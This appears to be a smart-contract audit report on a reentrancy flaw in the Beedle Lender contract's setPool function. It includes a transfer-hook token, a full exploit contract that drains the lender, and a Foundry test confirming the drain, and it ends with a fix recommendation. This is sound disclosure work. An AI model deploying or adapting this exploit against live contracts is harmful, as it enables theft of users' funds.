Summary
Tokens allowing reentrant calls on transfer can be drained from the contract.
Vulnerability Details
Some tokens allow reentrant calls on transfer (e.g. ERC777 tokens).
Example of token with hook on transfer:
pragma solidity ^0.8.19;
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
contract WeirdToken is ERC20 {
constructor(uint256 amount) ERC20("WeirdToken", "WT") {
_mint(msg.sender, amount);
}
function _afterTokenTransfer(address from, address to, uint256 amount) internal override {
if (to != address(0)) {
(bool status,) = to.call(abi.encodeWithSignature("tokensReceived(address,address,uint256)", from, to, amount));
}
}
}
This kind of token allows a re-entrancy attack in the setPool function. When the new p.poolBalance is less than the currentBalance, the difference is sent to the borrower before updating the state.
File: Lender.sol
L157: } else if (p.poolBalance < currentBalance) {
IERC20(p.loanToken).transfer(
p.lender,
currentBalance - p.poolBalance
);
}
https://github.com/Cyfrin/2023-07-beedle/blob/658e046bda8b010a5b82d2d85e824f3823602d27/src/Lender.sol#L159
Impact
POC
An attacker can use the following exploit contract to drain the lender contract:
File: Exploit3.sol
pragma solidity ^0.8.19;
import {WeirdToken} from "./WeirdToken.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "../utils/Structs.sol";
import "../Lender.sol";
contract Exploit3 {
Lender lender;
Pool pool;
constructor(Lender _lender) {
lender = _lender;
}
function attack(address _loanToken, uint256 _poolBalance) external {
ERC20(_loanToken).approve(address(lender), _poolBalance);
Pool memory p = Pool({
lender: address(this),
loanToken: _loanToken,
collateralToken: address(0),
minLoanSize: 10*10**18,
poolBalance: _poolBalance,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
lender.setPool(p);
p.poolBalance = 0;
pool = p;
lender.setPool(p);
ERC20(_loanToken).transfer(msg.sender, ERC20(_loanToken).balanceOf(address(this)));
}
function tokensReceived(address from, address , uint256 amount) external {
Pool memory p = pool;
require(msg.sender == p.loanToken, "not collateral token");
if (from == address(lender)) {
uint256 lenderBalance = ERC20(p.loanToken).balanceOf(address(lender));
if (lenderBalance > 0) {
if (lenderBalance < amount) {
p.poolBalance = amount - lenderBalance;
}
lender.setPool(p);
}
}
}
}
Here are the tests that can be added to Lender.t.sol to illustrate the steps of an attacker:
function test_exploit() public {
address attacker = address(0x5);
WeirdToken weirdToken = new WeirdToken(10_500*10**18);
weirdToken.transfer(address(lender), 9_500*10**18);
weirdToken.transfer(address(attacker), 1_000*10**18);
assertEq(weirdToken.balanceOf(address(lender)), 9_500*10**18);
assertEq(weirdToken.balanceOf(address(attacker)), 1_000*10**18);
vm.startPrank(attacker);
Exploit3 attackContract = new Exploit3(lender);
weirdToken.transfer(address(attackContract), 1_000*10**18);
attackContract.attack(address(weirdToken), 1_000*10**18);
assertEq(weirdToken.balanceOf(address(lender)), 0);
assertEq(weirdToken.balanceOf(address(attacker)), 10_500*10**18);
}
Tools Used
Manual review + Foundry
Recommendations
Follow the Checks - Effect - Interactions (CEI) pattern by updating the pools mapping (Line 175) before transfering the funds AND use nonReentrant modifiers
